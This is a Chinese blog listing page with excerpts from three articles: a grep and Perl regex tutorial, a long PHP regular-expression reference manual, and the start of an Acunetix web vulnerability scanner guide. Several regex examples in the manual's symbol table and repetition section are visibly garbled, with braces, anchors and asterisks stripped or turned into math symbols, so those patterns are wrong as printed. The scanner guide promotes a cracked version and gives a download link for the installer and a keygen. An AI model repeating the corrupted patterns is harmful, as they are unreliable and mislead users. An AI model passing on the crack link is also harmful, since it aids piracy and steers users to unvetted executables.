'^(bat|Bat|cat|Cat)' heroes.txt 可实现这一技巧。regex 操作符 |(竖线)表示备选项,因此 this|that 匹配字符串 this 或字符串 that。因此,^(bat|Bat|cat|Cat) 表示“行首紧跟 bat、Bat、cat 或 Cat之一。”当然,可以使用 grep -i 来简化该 regex,这样可以忽略大小写,从而将命令简化为: grep -i -E '^(bat|cat)' heroes.txt 匹配“bat”、“Bat”、“cat”或“Cat”的另一个方法是使用 [ ](方括号)集合 操作符。如果将一组字符放在一个集合中,则可以匹配那些字符中的任意一个。(您可以将集合 看作是字符备选项的简写法。) 例如,命令行: grep -E '^[bcBC]at' heroes.txt 与以下命令生成的结果相同: grep -E '^(bat|Bat|cat|Cat)' heroes.txt 您可以再次使用 -i 将 regex 简化为 ^[bc]at。 而且,还可以使用 -(连字符)操作符在集合中指定包含的字符范围。例如,用户名通常以字母开头。假定要在提交给您的服务器的 Web 表格中验证这样的用户名,可以使用类似于 ^[A-Za-z] 的 regex。此 regex 表示“字符串的开头后紧跟任意大写字母 (A-Z) 或任意小写字母 (a-z)。”顺便说明一下,[A-z] 与 [A-Za-z] 作用相同。 还可以在集合中混合使用范围和单个字符。regex [A-MXYZ] 将匹配任意大写的 A-M、X、Y 和 Z。 并且,如果希望反转集合(即排除集合中的任意字符),可以使用特殊集合 [^ ] 并包含要排除的范围或字符。以下是反转集合的示例。要查找所有名称中包含 at 的超级英雄,并排除 Dark Knight 和 Batman,请键入: grep -i -E '[^b]at' heroes.txt  此命令生成: CatwomanBlack Cat 由于某些集合需要经常使用,所以设计出简化符号以代替大量字符。例如,集合 [A-z0-9_] 十分常用,因此可以简写为 \w。与此类似,操作符 \W 是集合 [^A-z0-9_] 的简写。还可以使用符号 [:alnum:] 代替 \w,使用 [^[:alnum:]] 代替 \W。 顺便说明一下,\w(以及同义词 [:alnum:])是特定于区域的,而 [A-z0-9_] 即表示字母 A-z、数字 0-9 和下划线。如果要开发国际化应用程序,请使用区域特定的格式以使代码可以在许多区域之间移植。 跟我一起重复:重复,重复,重复 到目前为止,已经介绍了字面值、位置和两种备选项操作符。仅使用这些内容,就可以匹配大多数具有可预测 长度的模式。现在回到用户名,通过以下 regex 命令可以确保每个用户名以字母开头并紧跟恰好七个字母或数字: [a-z][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9] 但是这样有点笨拙。而且,它只匹配恰好八个字符的用户名。它不会匹配三到八个字符之间的名称,这通常也是有效的用户名。 正则表达式还可以包括重复修饰符。重复修饰符可以指定数量,如没有、一个、多个、一个或多个,零或一个、五到十个,以及恰好三个。重复修饰符必须与其他模式组合,修饰符本身没有含义。 例如,regex: ^[A-z][A-z0-9]{2,7}$ 可以实现前面描述的用户名过滤功能。用户名 是以字母开头,后面紧跟至少两个,但不超过七个字母或数字的字符串,并且紧跟字符串结尾。 此处的位置定位点非常重要。如果没有两个位置操作符,则会错误地接受任意长度的用户名。为什么呢?请考虑 regex: ^[A-z][A-z0-9]{2,7} 此命令辨别:字符串是否以字母开头并紧跟二到七个字母?但是它未提到终止条件。因此,字符串 samuelclemens 满足条件,但是它的长度显然超出了有效用户名的范围。与此类似,省略开始定位点 ^,或同时省略两个定位点将分别匹配以类似 munster1313 结束或包含该字符串的字符串。如果必须匹配特定的长度,请记得在要求的模式的开头和结尾分别加上分隔符。 以下是其他一些示例: 可以使用 {2,} 查找两次或多次重复。regex ^G[o]{2,}gle 匹配 Google、Gooogle、Goooogle 等等。  重复修饰符 ?、+ 和 * 分别查找零次或一次、一次或多次,以及零次或多次重复。(例如,您可以将 ? 看作是 {0,1} 的简写法。)  regex boys? 匹配 boy 或 boys;regex Goo?gle 匹配 Gogle 或 Google。 regex Goo+gle 匹配 Google、Gooogle、Goooogle 等等。 construct Goo*gle 匹配 Gogle、Google、Gooogle 等等。 可以将重复修饰符应用到单个字符(如上所示),还可以应用到更复杂的组合。使用 ( 和 ) 圆括号(就像数学中的用法)将修饰符应用到子表达式。下面是一个示例:给定文本文件 test.txt: The rain in Spain falls mainly on the the plain.It was the best of of times;it was the worst of times. 命令 grep -i -E '(\b(of|the)\W+){2,}' test.txt 将生成: on the the plain.It was the best of of times; regex 操作符 \b 匹配单词边界 或 (\W\w|\w\W)。该 regex 表示“一连串完整单词‘the’或‘of’后面紧跟非文字字符。”您可能会提出疑问,为什么 \W+ 是必需的:\b 是位于单词开头或结尾的空字符串。在单词之间必须包括这一(或这些)字符,否则该 regex 将无法找到匹配。  捕获需要注意的内容 查找文本是常见的问题,但是更常见的问题则是希望在找到文本之后将其提取出来。换句话说,您希望去粗取精。 正则表达式通过捕获 来提取信息。如果希望将需要的文本与其他内容分开,请使用圆括号将模式括起来。实际上,您已经使用圆括号收集术语;在默认情况下,圆括号自动进行捕获。 要查看捕获,请切换到 Perl。(grep 实用工具不支持捕获,因为其目标是打印包含模式的行。) 以下命令: perl -n -e '/^The\s+(.*)$/ && print "$1\n"' heroes.txt 将打印: TickPunisher 使用命令 perl -e 可以直接从命令行运行 Perl 程序。perl -n 命令针对输入文件的每一行运行一次程序。命令的 regex 部分,即位于斜杠之间的文本(/)表示“匹配字符串的开头,然后字母‘T’、‘h’、‘e’后紧跟一个或多个空格字符 \s+,然后捕获直到字符串结尾的所有字符。 Perl 捕获内容被放在以 $1 开头的特殊 Perl 变量中。Perl 程序的其余部分打印捕获的内容。 每个嵌套的括号对,从左开始算起,每个左圆括号加一,放在下一个特殊的数字变量中。例如: perl -n -e '/^(\w)+-(\w+)$/ && print "$1 $2"'  将生成: Spider ManAnt ManSpider Woman 捕获感兴趣的文本仅仅是隔靴搔痒。如果能够准确确定材料,就可以使用其他材料改变其外观。类似于 vi 和 Emacs 的编辑器将模式匹配与替换组合,从而将查找和替换文本组合成一步操作。还可以使用模式、替换和 sed 从命令行更改文本。 丰富的主题 正则表达式非常强大;可供使用的操作符的数量庞大,种类繁多。它包含如此丰富的信息和实践知识,我们在这里所能列举的实属凤毛麟角。 幸运的是,有以下三种优秀的正则表达式理论来源可供使用: 如果在您的系统上有 Perl,可以参阅 Perl Regular Expression man 页面(键入 perldoc perlre)。它会提供 regex 的精彩介绍,并包含许多有用的示例。许多编程语言都已采用 Perl 兼容的正则表达式 (PCRE),因此您在此 man 页面读到的内容已被直接转换到 PHP、Python、Java? 和 Ruby 编程语言,以及许多其他最新工具。  Jeffrey Friedl 编著的《正则表达式》(第三版)被认为是 regex 用法方面的圣经。该书细致、准确、清晰、务实地说明了匹配的工作方式、所有的 regex 操作符、多数优先性(限制 + 和 * 匹配字符的数量),以及更多内容。此外,Friedl 的书还包括一些令人惊叹的正则表达式,可以准确地匹配完全限定的电子邮件地址和其他 Request for Comments (RFC) 特定的字符串。  Nathan Good 编著的 Regular Expression Recipes 一书提供了针对许多常见数据处理和过滤问题的有用的解决方案。如果需要提取邮政编码、电话号码或引用的字符串,请尝试 Nathan 的解决方案。  在命令行中,可以采用许多方法使用正则表达式。几乎每个处理文本的命令都支持某种形式的正则表达式。大多数 Shell 命令语法还或多或少地扩展正则表达式以匹配文件名(尽管操作符的功能可能有所不同)。 例如,键入 ls [a-c] 以查找名为 a、b 或 c 的文件。键入 ls [a-c]* 以查找以 a、b 或 c 开头的所有文件名。此处的 * 在 Shell 中不像 grep 的解释器那样修饰 [a-c],* 被解释为 .*。? 操作符在 Shell 中也可以工作,但是被解释为 .,即匹配任意单个字符。 查看您最喜欢的实用工具或 Shell 的文档以确定哪些 regex 操作符受支持,以及操作符可能具有的独特性。  本文转自 lover007 51CTO博客,原文链接:http://blog.51cto.com/wangwei007/600110,如需转载请自行联系原作者
文章
Unix  ·  Shell  ·  Windows  ·  Perl  ·  机器学习/深度学习  ·  开发工具  ·  Python  ·  Go  ·  Ruby  ·  Java
2017-11-07
PHP正则表达式完全手册
原文:PHP正则表达式完全手册 php的正则表达式完全手册 前言    正则表达式是烦琐的,但是强大的,学会之后的应用会让你除了提高效率外,会给你带来绝对的成就感。只要认真去阅读这些资料,加上应用的时候进行一定的参考,掌握正则表达式不是问题。 索引    1._引子    2._正则表达式的历史    3._正则表达式定义     3.1_普通字符     3.2_非打印字符     3.3_特殊字符     3.4_限定符     3.5_定位符     3.6_选择     3.7_后向引用    4._各种操作符的运算优先级    5._全部符号解释    6._部分例子    7._正则表达式匹配规则     7.1_基本模式匹配     7.2_字符簇     7.3_确定重复出现 1. 引子    目前,正则表达式已经在很多软件中得到广泛的应用,包括*nix(Linux, Unix等),HP等操作系统,PHP,C#,Java等开发环境,以及很多的应用软件中,都可以看到正则表达式的影子。    正则表达式的使用,可以通过简单的办法来实现强大的功能。为了简单有效而又不失强大,造成了正则表达式代码的难度较大,学习起来也不是很容易,所以需要付出一些努力才行,入门之后参照一定的参考,使用起来还是比较简单有效的。    例子: ^.+@.+\\..+$    这样的代码曾经多次把我自己给吓退过。可能很多人也是被这样的代码给吓跑的吧。继续阅读本文将让你也可以自由应用这样的代码。    注意:这里的第7部分跟前面的内容看起来似乎有些重复,目的是把前面表格里的部分重新描述了一次,目的是让这些内容更容易理解。 2. 正则表达式的历史    正则表达式的“祖先”可以一直上溯至对人类神经系统如何工作的早期研究。Warren McCulloch 和 Walter Pitts 这两位神经生理学家研究出一种数学方式来描述这些神经网络。    1956 年, 一位叫 Stephen Kleene 的数学家在 McCulloch 和 Pitts 早期工作的基础上,发表了一篇标题为“神经网事件的表示法”的论文,引入了正则表达式的概念。正则表达式就是用来描述他称为“正则集的代数”的表达式,因此采用“正则表达式”这个术语。    随后,发现可以将这一工作应用于使用 Ken Thompson 的计算搜索算法的一些早期研究,Ken Thompson 是 Unix 的主要发明人。正则表达式的第一个实用应用程序就是 Unix 中的 qed 编辑器。    如他们所说,剩下的就是众所周知的历史了。从那时起直至现在正则表达式都是基于文本的编辑器和搜索工具中的一个重要部分。 3. 正则表达式定义    正则表达式(regular expression)描述了一种字符串匹配的模式,可以用来检查一个串是否含有某种子串、将匹配的子串做替换或者从某个串中取出符合某个条件的子串等。    列目录时, dir *.txt或ls *.txt中的*.txt就不是一个正则表达式,因为这里*与正则式的*的含义是不同的。    正则表达式是由普通字符(例如字符 a 到 z)以及特殊字符(称为元字符)组成的文字模式。正则表达式作为一个模板,将某个字符模式与所搜索的字符串进行匹配。    3.1 普通字符    由所有那些未显式指定为元字符的打印和非打印字符组成。这包括所有的大写和小写字母字符,所有数字,所有标点符号以及一些符号。    3.2 非打印字符 字符 含义 \cx 匹配由x指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。 \f 匹配一个换页符。等价于 \x0c 和 \cL。 \n 匹配一个换行符。等价于 \x0a 和 \cJ。 \r 匹配一个回车符。等价于 \x0d 和 \cM。 \s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。 \S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。 \t 匹配一个制表符。等价于 \x09 和 \cI。 \v 匹配一个垂直制表符。等价于 \x0b 和 \cK。      3.3 特殊字符    所谓特殊字符,就是一些有特殊含义的字符,如上面说的"*.txt"中的*,简单的说就是表示任何字符串的意思。如果要查找文件名中有*的文件,则需要对*进行转义,即在其前加一个\。ls \*.txt。正则表达式有以下特殊字符。 特别字符 说明 匹配输入字符串的结尾位置。如果设置了RegExp对象的Multiline属性,则 也匹配 '\n' 或 '\r'。要匹配 $ 字符本身,请使用 \$。 ( ) 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)。 * 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*。 + 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 \+。 . 匹配除换行符 \n之外的任何单字符。要匹配 .,请使用 \。 [ 标记一个中括号表达式的开始。要匹配 [,请使用 \[。 ? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \?。 \ 将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如, 'n' 匹配字符 'n'。'\n' 匹配换行符。序列 '\\' 匹配 "\",而 '\(' 则匹配 "("。 ^ 匹配输入字符串的开始位置,除非在方括号表达式中使用,此时它表示不接受该字符集合。要匹配 ^ 字符本身,请使用 \^。 { 标记限定符表达式的开始。要匹配 {,请使用 \{。 | 指明两项之间的一个选择。要匹配 |,请使用 \|。      构造正则表达式的方法和创建数学表达式的方法一样。也就是用多种元字符与操作符将小的表达式结合在一起来创建更大的表达式。正则表达式的组件可以是单个的字符、字符集合、字符范围、字符间的选择或者所有这些组件的任意组合。      3.4 限定符    限定符用来指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。有*或+或?或{n}或{n,}或{n,m}共6种。    *、+和?限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个?就可以实现非贪婪或最小匹配。    正则表达式的限定符有: 字符 描述 * 匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及 "zoo"。* 等价于{0,}。 + 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。 ? 匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do" 或 "does" 中的"do" 。? 等价于 {0,1}。 {n} n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。 {n,} n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。 {n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。例如,"o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。    3.5 定位符    用来描述字符串或单词的边界,^和$分别指字符串的开始与结束,\b描述单词的前或后边界,\B表示非单词边界。不能对定位符使用限定符。    3.6 选择    用圆括号将所有选择项括起来,相邻的选择项之间用|分隔。但用圆括号会有一个副作用,是相关的匹配会被缓存,此时可用?:放在第一个选项前来消除这种副作用。    其中?:是非捕获元之一,还有两个非捕获元是?=和?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。    3.7 后向引用   对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左至右所遇到的内容存储。存储子匹配的缓冲区编号从 1 开始,连续编号直至最大 99 个子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。    可以使用非捕获元字符 '?:', '?=', or '?!' 来忽略对相关匹配的保存。 4. 各种操作符的运算优先级    相同优先级的从左到右进行运算,不同优先级的运算先高后低。各种操作符的优先级从高到低如下: 操作符 描述 \ 转义符 (), (?:), (?=), [] 圆括号和方括号 *, +, ?, {n}, {n,}, {n,m} 限定符 ^, $, \anymetacharacter 位置和顺序 | “或”操作 5. 全部符号解释 字符 描述 \ 将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。例如,'n' 匹配字符 "n"。'\n' 匹配一个换行符。序列 '\\' 匹配 "\" 而 ""则匹配"("。匹配输入字符串的开始位置。如果设置了RegExp对象的Multiline属性,也匹配′\n′或′\r′之后的位置。$匹配输入字符串的结束位置。如果设置了RegExp对象的Multiline属性,$也匹配′\n′或′\r′之前的位置。∗匹配前面的子表达式零次或多次。例如,zo∗能匹配"z"以及"zoo"。∗等价于0,。+匹配前面的子表达式一次或多次。例如,′zo+′能匹配"zo"以及"zoo",但不能匹配"z"。+等价于1,。?匹配前面的子表达式零次或一次。例如,"do(es)?"可以匹配"do"或"does"中的"do"。?等价于0,1。nn是一个非负整数。匹配确定的n次。例如,′o2′不能匹配"Bob"中的′o′,但是能匹配"food"中的两个o。n,n是一个非负整数。至少匹配n次。例如,′o2,′不能匹配"Bob"中的′o′,但能匹配"foooood"中的所有o。′o1,′等价于′o+′。′o0,′则等价于′o∗′。n,mm和n均为非负整数,其中n<=m。最少匹配n次且最多匹配m次。例如,"o1,3"将匹配"fooooood"中的前三个o。′o0,1′等价于′o?′。请注意在逗号和两个数之间不能有空格。?当该字符紧跟在任何一个其他限制符(∗,+,?,n,n,,n,m)后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串"oooo",′o+?′将匹配单个"o",而′o+′将匹配所有′o′。.匹配除"\n"之外的任何单个字符。要匹配包括′\n′在内的任何字符,请使用象′[.\n]′的模式。(pattern)匹配pattern并获取这一匹配。所获取的匹配可以从产生的Matches集合得到,在VBScript中使用SubMatches集合,在JScript中则使用$0…$9属性。要匹配圆括号字符,请使用′\(′或′'。 (?:pattern) 匹配 pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用 "或" 字符 (|) 来组合一个模式的各个部分是很有用。例如, 'industr(?:y|ies) 就是一个比 'industry|industries' 更简略的表达式。 (?=pattern) 正向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如,'Windows (?=95|98|NT|2000)' 能匹配 "Windows 2000" 中的 "Windows" ,但不能匹配 "Windows 3.1" 中的 "Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。 (?!pattern) 负向预查,在任何不匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如'Windows (?!95|98|NT|2000)' 能匹配 "Windows 3.1" 中的 "Windows",但不能匹配 "Windows 2000" 中的 "Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始 x|y 匹配 x 或 y。例如,'z|food' 能匹配 "z" 或 "food"。'(z|f)ood' 则匹配 "zood" 或 "food"。 [xyz] 字符集合。匹配所包含的任意一个字符。例如, '[abc]' 可以匹配 "plain" 中的 'a'。 [^xyz] 负值字符集合。匹配未包含的任意字符。例如, '[^abc]' 可以匹配 "plain" 中的'p'。 [a-z] 字符范围。匹配指定范围内的任意字符。例如,'[a-z]' 可以匹配 'a' 到 'z' 范围内的任意小写字母字符。 [^a-z] 负值字符范围。匹配任何不在指定范围内的任意字符。例如,'[^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。 \b 匹配一个单词边界,也就是指单词和空格间的位置。例如, 'er\b' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中的 'er'。 \B 匹配非单词边界。'er\B' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。 \cx 匹配由 x 指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。 \d 匹配一个数字字符。等价于 [0-9]。 \D 匹配一个非数字字符。等价于 [^0-9]。 \f 匹配一个换页符。等价于 \x0c 和 \cL。 \n 匹配一个换行符。等价于 \x0a 和 \cJ。 \r 匹配一个回车符。等价于 \x0d 和 \cM。 \s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。 \S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。 \t 匹配一个制表符。等价于 \x09 和 \cI。 \v 匹配一个垂直制表符。等价于 \x0b 和 \cK。 \w 匹配包括下划线的任何单词字符。等价于'[A-Za-z0-9_]'。 \W 匹配任何非单词字符。等价于 '[^A-Za-z0-9_]'。 \xn 匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如,'\x41' 匹配 "A"。'\x041' 则等价于 '\x04' & "1"。正则表达式中可以使用 ASCII 编码。. \num 匹配 num,其中 num 是一个正整数。对所获取的匹配的引用。例如,'(.)\1' 匹配两个连续的相同字符。 \n 标识一个八进制转义值或一个向后引用。如果 \n 之前至少 n 个获取的子表达式,则 n 为向后引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。 \nm 标识一个八进制转义值或一个向后引用。如果 \nm 之前至少有 nm 个获得子表达式,则 nm 为向后引用。如果 \nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的向后引用。如果前面的条件都不满足,若 n 和 m 均为八进制数字 (0-7),则 \nm 将匹配八进制转义值 nm。 \nml 如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。 \un 匹配 n,其中 n 是一个用四个十六进制数字表示的 Unicode 字符。例如, \u00A9 匹配版权符号 (?)。   6. 部分例子 正则表达式 说明 /\b([a-z]+) \1\b/gi 一个单词连续出现的位置 /(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)/ 将一个URL解析为协议、域、端口及相对路径 /^(?:Chapter|Section) [1-9][0-9]{0,1}$/ 定位章节的位置 /[-a-z]/ A至z共26个字母再加一个-号。 /ter\b/ 可匹配chapter,而不能terminal /\Bapt/ 可匹配chapter,而不能aptitude /Windows(?=95 |98 |NT )/ 可匹配Windows95或Windows98或WindowsNT,当找到一个匹配后,从Windows后面开始进行下一次 7. 正则表达式匹配规则    7.1 基本模式匹配    一切从最基本的开始。模式,是正规表达式最基本的元素,它们是一组描述字符串特征的字符。模式可以很简单,由普通的字符串组成,也可以非常复杂,往往用特殊的字符表示一个范围内的字符、重复出现,或表示上下文。例如:    ^once    这个模式包含一个特殊的字符^,表示该模式只匹配那些以once开头的字符串。例如该模式与字符串"once upon a time"匹配,与"There once was a man from NewYork"不匹配。正如如^符号表示开头一样,$符号用来匹配那些以给定模式结尾的字符串。    bucket$    这个模式与"Who kept all of this cash in a bucket"匹配,与"buckets"不匹配。字符^和$同时使用时,表示精确匹配(字符串与模式一样)。例如:    ^bucket$    只匹配字符串"bucket"。如果一个模式不包括^和$,那么它与任何包含该模式的字符串匹配。例如:模式    once    与字符串    There once was a man from NewYork    Who kept all of his cash in a bucket.    是匹配的。   在该模式中的字母(o-n-c-e)是字面的字符,也就是说,他们表示该字母本身,数字也是一样的。其他一些稍微复杂的字符,如标点符号和白字符(空 格、制表符等),要用到转义序列。所有的转义序列都用反斜杠(\)打头。制表符的转义序列是:\t。所以如果我们要检测一个字符串是否以制表符开头,可以 用这个模式:    ^\t    类似的,用\n表示“新行”,\r表示回车。其他的特殊符号,可以用在前面加上反斜杠,如反斜杠本身用\\表示,句号.用\.表示,以此类推。    7.2 字符簇    在INTERNET的程序中,正规表达式通常用来验证用户的输入。当用户提交一个FORM以后,要判断输入的电话号码、地址、EMAIL地址、信用卡号码等是否有效,用普通的基于字面的字符是不够的。    所以要用一种更自由的描述我们要的模式的办法,它就是字符簇。要建立一个表示所有元音字符的字符簇,就把所有的元音字符放在一个方括号里:    [AaEeIiOoUu]    这个模式与任何元音字符匹配,但只能表示一个字符。用连字号可以表示一个字符的范围,如:    [a-z] //匹配所有的小写字母    [A-Z] //匹配所有的大写字母    [a-zA-Z] //匹配所有的字母    [0-9] //匹配所有的数字    [0-9\.\-] //匹配所有的数字,句号和减号    [ \f\r\t\n] //匹配所有的白字符    同样的,这些也只表示一个字符,这是一个非常重要的。如果要匹配一个由一个小写字母和一位数字组成的字符串,比如"z2"、"t6"或"g7",但不是"ab2"、"r2d3" 或"b52"的话,用这个模式:    ^[a-z][0-9]$    尽管[a-z]代表26个字母的范围,但在这里它只能与第一个字符是小写字母的字符串匹配。    前面曾经提到^表示字符串的开头,但它还有另外一个含义。当在一组方括号里使用^是,它表示“非”或“排除”的意思,常常用来剔除某个字符。还用前面的例子,我们要求第一个字符不能是数字:    ^[^0-9][0-9]$    这个模式与"&5"、"g7"及"-2"是匹配的,但与"12"、"66"是不匹配的。下面是几个排除特定字符的例子:    [^a-z] //除了小写字母以外的所有字符    [^\\\/\^] //除了(\)(/)(^)之外的所有字符    [^\"\'] //除了双引号(")和单引号(')之外的所有字符    特殊字符"." (点,句号)在正规表达式中用来表示除了“新行”之外的所有字符。所以模式"^.5$"与任何两个字符的、以数字5结尾和以其他非“新行”字符开头的字符串匹配。模式"."可以匹配任何字符串,除了空串和只包括一个“新行”的字符串。    PHP的正规表达式有一些内置的通用字符簇,列表如下:    字符簇含义    [[:alpha:]] 任何字母    [[:digit:]] 任何数字    [[:alnum:]] 任何字母和数字    [[:space:]] 任何白字符    [[:upper:]] 任何大写字母    [[:lower:]] 任何小写字母    [[:punct:]] 任何标点符号    [[:xdigit:]] 任何16进制的数字,相当于[0-9a-fA-F]    7.3 确定重复出现    到现在为止,你已经知道如何去匹配一个字母或数字,但更多的情况下,可能要匹配一个单词或一组数字。一个单词有若干个字母组成,一组数字有若干个单数组成。跟在字符或字符簇后面的花括号({})用来确定前面的内容的重复出现的次数。    字符簇 含义    ^[a-zA-Z_]所有的字母和下划线  [[:alpha:]]3 所有的3个字母的单词    ^a字母a  a4 aaaa    ^a{2,4}aa,aaa或aaaa  a1,3 a,aa或aaa    ^a{2,}$ 包含多于两个a的字符串    ^a{2,} 如:aardvark和aaab,但apple不行    a{2,} 如:baad和aaa,但Nantucket不行    \t{2} 两个制表符    .{2} 所有的两个字符   这些例子描述了花括号的三种不同的用法。一个数字,{x}的意思是“前面的字符或字符簇只出现x次”;一个数字加逗号,{x,}的意思是“前面的内容出现 x或更多的次数”;两个用逗号分隔的数字,{x,y}表示“前面的内容至少出现x次,但不超过y次”。我们可以把模式扩展到更多的单词或数字:    ^[a-zA-Z0-9_]{1,}//所有包含一个以上的字母、数字或下划线的字符串  [0−9]1, //所有的正数    ^\-{0,1}[0-9]{1,}//所有的整数  \-0,1[0−9]0,\.0,1[0−9]0, //所有的小数   最后一个例子不太好理解,是吗?这么看吧:与所有以一个可选的负号(\-{0,1})开头(^)、跟着0个或更多的数字([0-9]{0,})、和一 个可选的小数点(\.{0,1})再跟上0个或多个数字([0-9]{0,}),并且没有其他任何东西($)。下面你将知道能够使用的更为简单的方法。    特殊字符"?"与{0,1}是相等的,它们都代表着:“0个或1个前面的内容”或“前面的内容是可选的”。所以刚才的例子可以简化为:    ^\-?[0-9]{0,}\.?[0-9]{0,}$    特殊字符"*"与{0,}是相等的,它们都代表着“0个或多个前面的内容”。最后,字符"+"与 {1,}是相等的,表示“1个或多个前面的内容”,所以上面的4个例子可以写成:    ^[a-zA-Z0-9_]+//所有包含一个以上的字母、数字或下划线的字符串  [0−9]+ //所有的正数    ^\-?[0-9]+//所有的整数  \-?[0−9]∗\.?[0−9]∗ //所有的小数    当然这并不能从技术上降低正规表达式的复杂性,但可以使它们更容易阅读。 详细出处参考:http://www.jb51.net/article/26215.htm  
文章
机器学习/深度学习  ·  存储  ·  Unix  ·  PHP  ·  Windows  ·  C++  ·  C#  ·  缓存  ·  Java  ·  Linux
2015-06-24
Acunetix Web Vulnerability Scanner手册
目录: 0×00、什么是Acunetix Web Vulnarability Scanner ( What is AWVS?) 0×01、AWVS安装过程、主要文件介绍、界面简介、主要操作区域简介(Install AWVS and GUI Description) 0×02、AWVS的菜单栏、工具栏简介(AWVS menu bar & tools bar)  0×03、 开始一次新扫描之扫描类型、扫描参数详解(Scan Settings、Scanning Profiles) 0×04、AWVS的应用程序配置详解(Application Settings) 0×05、AWVS的蜘蛛爬行功能(Site Crawler) 0×06、AWVS的目标探测工具(Target Finder) 0×07、AWVS的子域名探测工具(Subdomain Scanner)  0×08、AWVS的SQL盲注测试工具(Blind SQL Injection) 0×09、AWVS的HTTP请求编辑器(HTTP Editor)  0×10、AWVS的HTTP嗅探工具(HTTP Sniffer) 0×11、AWVS的HTTP模糊测试工具(HTTP Fuzzer) 0×12、AWVS的认证测试工具(Authentication Tester) 0×13、AWVS的WEB WSDL扫描测试工具(Web Services Scanner、Web Services Editor) 0×00、什么是Acunetix Web Vulnarability Scanner Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的Web网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。它包含有收费和免费两种版本,AWVS官方网站是:http://www.acunetix.com/,目前最新版是V10.5版本,官方下载地址:https://www.acunetix.com/vulnerability-scanner/download/,官方免费下载的是试用14天的版本。这里我们以V10.5破解版来讲解。 功能以及特点: a)、自动的客户端脚本分析器,允许对 Ajax 和 Web 2.0 应用程序进行安全性测试。 b)、业内最先进且深入的 SQL 注入和跨站脚本测试 c)、高级渗透测试工具,例如 HTTP Editor 和 HTTP Fuzzer d)、可视化宏记录器帮助您轻松测试 web 表格和受密码保护的区域 e)、支持含有 CAPTHCA 的页面,单个开始指令和 Two Factor(双因素)验证机制 f)、丰富的报告功能,包括 VISA PCI 依从性报告 h)、高速的多线程扫描器轻松检索成千上万个页面 i)、智能爬行程序检测 web 服务器类型和应用程序语言 j)、Acunetix 检索并分析网站,包括 flash 内容、SOAP 和 AJAX k)、端口扫描 web 服务器并对在服务器上运行的网络服务执行安全检查 l)、可导出网站漏洞文件 0×01、AWVS安装过程、主要文件介绍、界面简介、主要操作区域简介 注:本文提供的破解 方式仅供软件试用,请于链接文字24小时内删除 ,如需使用请购买正版! 1、下载地址:http://pan.baidu.com/s/1i3Br6ol提取密码:u60f 。其中 2016_02_17_00_webvulnscan105.exe是AWVS v10.5的安装包,而Acunetix_Web_Vulnerability_Scanner_10.x_Consultant_Edition_KeyGen_Hmily 是破解补丁。AWVS安装的方法与安装windows程序安装方法一样,我们这里主要讲解安装的主要点: 2、安装到最后一步的时候将“Launch Acunetix Web Vulnerbility Scanner”前的勾去掉,安装完成之后将会在桌面生成两个图标: 